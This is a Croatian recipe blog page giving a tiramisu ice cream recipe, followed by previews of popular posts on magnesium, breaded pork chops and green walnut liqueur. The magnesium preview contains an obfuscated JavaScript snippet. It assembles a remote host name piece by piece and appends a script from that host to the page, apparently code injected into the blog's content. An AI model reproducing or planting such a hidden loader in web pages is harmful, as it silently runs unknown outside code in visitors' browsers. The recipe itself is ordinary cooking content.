TIRAMISU SLADOLED




Tiramisu sladoled 



Ovaj desert razlikuje se od klasičnog tiramisua. Glavna razlika? Njegova temperatura. Ovaj ledeni desert idealan je za ljeto. Osim što je ukusan, izgleda vrlo atraktivno, pa ga možete poslužiti kao savršeni desert kad ugostite prijatelje na večeri. U nastavku saznajte koji su vam sastojci potrebni te kako izgleda proces pripreme.




Tiramisu sladoled 


Sastojci:

Za piškote natopljene espressom:

  • 400 g piškota
  • 225 g espressa
  • 150 g bijelog šećera
  • 1/4 žličice košer soli
  • 72 g marsala vina

Za mascarpone kremu:

  • 7–8 jaja
  • 250 g šećera
  • 1 žličica soli
  • 450 g mascarpone sira
  • 200 g slatkog vrhnja
  • 15–20 g ekstrakta vanilije
  • kakao prah za dekoraciju



Priprema:

Za pripremu ovog recepta trebat će vam mikser i plitka posuda prikladna za pećnicu.

1. Priprema piškota:

Pomiješajte espresso, šećer i sol dok se šećer ne otopi. Dodajte marsala vino i ostavite sa strane.

2. Priprema kreme:

U posudu za pećnicu stavite papir za pečenje tako da prekrije cijelu posudu. U veliku posudu (ili lonac) ulijte malo vode, otprilike do visine tri prsta. U drugoj posudi razbijte jaja, dodajte šećer i sol, te lagano umutite sastojke. Dok to radite, voda u loncu će se zagrijavati.

Stavite posudu s jajima iznad pare (na lonac s vrućom vodom) i miješajte 6 minuta dok smjesa ne postane topla i tekuća – ali ne vruća! Maknite s pare i miksajte dok se volumen ne udvostruči i smjesa ne postane paperjasta. Znate da je smjesa spremna kada, kad podignete mikser, smjesa polako pada – oko 9 minuta miksanja.

U drugoj zdjeli pomiješajte mascarpone, slatko vrhnje i vaniliju. Miksajte dok ne postane čvrsta krema. Polako umiješajte prethodnu smjesu od jaja. Miješajte lagano mikserom dok se sve lijepo ne sjedini. To je vaša smjesa za sladoled.


Biskvit

Sastojci

Sastojci:

  • 6–7 jaja
  • prstohvat soli
  • 200 g šećera
  • 90 g kukuruznog škroba

Priprema biskvita:

Zagrijte pećnicu na 200 °C. Pripremite posudu za pečenje. U veću zdjelu odvojite bjelanjke, a u manju žumanjke. Dodajte prstohvat soli u bjelanjke. Miksajte bjelanjke na niskoj brzini, postepeno povećavajući brzinu svakih 30 sekundi. Tijekom miksanja postepeno dodajte šećer. Cijeli proces traje oko 7 minuta.

Umućene bjelanjke pažljivo dodajte žumanjcima, zatim umiješajte kukuruzni škrob. Smjesu ravnomjerno rasporedite u posudu i pecite oko 15 minuta – dok vrh ne poprimi zlatnosmeđu boju. Ostavite da se hladi 1–2 minute, potom odstranite gornji sloj (koji je potamnio) i okrenite biskvit naopačke.

Spojite biskvit s mascarpone smjesom, pospite kakao prahom i stavite u zamrzivač. Desert treba stajati najmanje 10 sati prije posluživanja ili ga možete poslužiti i na sobnoj temperaturi, ovisno o želji. Tiramisu sladoled – gotov!



Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više